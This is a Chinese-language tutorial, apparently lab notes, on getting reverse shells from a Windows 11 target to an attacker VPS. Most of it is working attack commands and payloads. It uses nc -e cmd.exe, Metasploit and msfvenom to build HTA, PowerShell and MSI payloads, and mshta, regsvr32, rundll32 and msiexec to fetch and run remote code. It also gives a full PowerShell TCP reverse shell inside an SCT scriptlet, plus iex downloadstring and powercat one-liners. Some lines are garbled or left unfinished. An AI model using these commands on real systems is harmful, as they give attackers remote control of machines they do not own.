1.简介
正向shell: 控制端主动发起连接请求去连接被控制端,中间网络链路不存在阻碍。
反向shell(反弹shell)︰ 被控端主动发起连接请求去连接控制端,通常被控端由于防火墙限制、权限不足、端口被占用等问题导致被控端不能正常接收发送过来的数据包。
靶机:win11
攻击机:vps
2.方法
(1) nc
确保靶机已经有netcat;
攻击机开启监听:nc -lvvp 9090
靶机端运行: nc.exe 攻击机IP 9090 -e cmd.exe
若想反弹 powershell.exe
靶机端运行: nc.exe 攻击机IP 9090 -e powershell.exe
上线成功。
(2)mshta
Mshta.exe是用于负责解释运行 HTA(HTML应用程序)文件的windows oS实用程序。可以运行JavaScript或VBScript的HTML文件。
生成hta后门。
VPS 安装 Metasploit渗透框架
curl https://gitee.com/yijingsec/metasploit-omnibus/raw/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
msfconsole 运行hta文件
攻击机运行
启动 msfconsole
search hta_server
use 0
options
设置64位的后门
set payload windows/x64/meterpreter/reverse_tcp
set lhost vps_ipset lport 9090
set target 1
run -j
靶机运行
mshta http://vps_ip:8080/l9URjD.hta
hta_server 是一个模块;在模块运行时候就开启监听了
9090端口用来接收;默认在8080端口提供文件上传
这种情况属于反弹shell 但不是shell 而是metaprete
现在使用hta应用进行反弹shell
vps 生成1.hta文件
msfvenom -p windows/x64/shell_reverse_tcp lhost=vps_ip lport=9090 -f hta-psh -o 1.hta
python3 -m http.server # 将1.hta文件放在8000端口提供下载
开启9090监听
nc -lvvp 9090 用于接收反弹shell靶机执行
mshta http://vps_ip:8000/1.hta
hta的原理
其实本质上还是powershell hta将powershell封装在hta文件
(3)rundll32 ( dll +nc )
Rundll32.exe与Windows操作系统相关,它允许调用从DLL导出的函数(16位或32位),并将其存个在适当的内存库中。
通过Msfvenom生成反弹shell的dll发起Rundll32攻击
msfvenom生成dll执行
vps下载 impacket
git clone https://github.com/fortra/impacket.git
(4)regsvr32 (sct 反弹shell) 注册表服务
<?XML version="1.0"?> <scriptlet> <registration progid="PoC" classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run('powershell -w Hidden -c "$client = New-Object System.Net.Sockets.TCPClient(\'vps_ip\',10000);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'); ]]> </script> </registration> </scriptlet>
靶机保存上面这个文件名字为 cmd.sct,注意ip
vps nc -lvvp 10000
靶机运行
regsvr32.exe /n /s /u /i:cmd.sct scrobj.dll
还可以进行http服务的进行反弹shell
cmd.sct会要上传到vps上。
攻击机
python3 -m http.server 8080
nc -lvvp 10000
靶机运行
>regsvr32.exe /n /s /u /i:http://ip:8080/cmd.sct scrobj.dll
(5) powershell 直接进行反弹shell
生成power shell脚本
攻击机执行
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vpsip lport=9091 -f psh -o shell.ps1
nc -lvvp 9091
python3 -m http.server
靶机执行powershell.exe -c "iex(new-object system.net.webclient).downloadstring('http://vpsip:8000/shell.ps1');shell.ps1"
如果执行
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=vpsip lport=9090 -f psh-reflection -o shell.ps1
shell.ps1
nc -lvvp 9090
python3 -m http.server靶机执行
powershell.exe -c "iex(new-object system.net.webclient).downloadstring('http://vpsip:8000/shell.ps1')"
(6)powershell 加载 powercat
Powercat是PowerShell本地后门侦听器和反向shell工具,也称为修改版本的netcat,因为它集成支持经过编码的有效载荷。
下载powercat
git clone https://gitee.com/yijingsec/powercat.git
在powercat目录下
python3 -m http.server
nc -lvvp 9090
靶机执行
powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://vpsip:8080/powercat.ps1');powercat -c vpsip -p 9090 -e cmd"
(7)msiexec
msfvenom -p windows/x64/shell_reverse_tcp lhost=vpsip lport=9090 -f msi -o 9090.msi
python3 -m http.server
nc -lvvp 9090靶机
msiexec /q /i http://vpsip:8080/9090.msi